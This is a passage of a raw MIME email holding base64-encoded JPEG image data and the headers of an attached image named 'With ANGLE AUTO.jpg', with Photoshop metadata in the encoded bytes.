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 ------=_NextPart_000_00C0_01C2BCA6.A9A374D0 Content-Type: image/jpeg; name="With ANGLE AUTO.jpg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="With ANGLE AUTO.jpg" /9j/4AAQSkZJRgABAgEASABIAAD/7RN+UGhvdG9zaG9wIDMuMAA4QklNA+0KUmVzb2x1dGlvbgAA AAAQAEgAAAABAAIASAAAAAEAAjhCSU0EDRhGWCBHbG9iYWwgTGlnaHRpbmcgQW5nbGUAAAAABAAA AB44QklNBBkSRlggR2xvYmFsIEFsdGl0dWRlAAAAAAQAAAAeOEJJTQPzC1ByaW50IEZsYWdzAAAA CQAAAAAAAAAAAQA4QklNBAoOQ29weXJpZ2h0IEZsYWcAAAAAAQAAOEJJTScQFEphcGFuZXNlIFBy aW50IEZsYWdzAAAAAAoAAQAAAAAAAAACOEJJTQP1F0NvbG9yIEhhbGZ0b25lIFNldHRpbmdzAAAA SAAvZmYAAQBsZmYABgAAAAAAAQAvZmYAAQChmZoABgAAAAAAAQAyAAAAAQBaAAAABgAAAAAAAQA1 AAAAAQAtAAAABgAAAAAAAThCSU0D+BdDb2xvciBUcmFuc2ZlciBTZXR0aW5ncwAAAHAAAP////// //////////////////////8D6AAAAAD/////////////////////////////A+gAAAAA//////// /////////////////////wPoAAAAAP////////////////////////////8D6AAAOEJJTQQIBkd1 aWRlcwAAAAAQAAAAAQAAAkAAAAJAAAAAADhCSU0EHg1VUkwgb3ZlcnJpZGVzAAAABAAAAAA4QklN BBoGU2xpY2VzAAAAAIEAAAAGAAAAAAAAAAAAAADGAAAA5wAAABAAQwB1ACAAYQB1AHQAbwAgAGwA YQAgAEEATgBHAEwARQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAA5wAAAMYAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOEJJTQQREUlDQyBVbnRhZ2dlZCBGbGFnAAAA AQEAOEJJTQQUF0xheWVyIElEIEdlbmVyYXRvciBCYXNlAAAABAAAAAE4QklNBAwVTmV3IFdpbmRv d3MgVGh1bWJuYWlsAAAPyQAAAAEAAABwAAAAYAAAAVAAAH4AAAAPrQAYAAH/2P/gABBKRklGAAEC AQBIAEgAAP/uAA5BZG9iZQBkgAAAAAH/2wCEAAwICAgJCAwJCQwRCwoLERUPDAwPFRgTExUTExgR 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 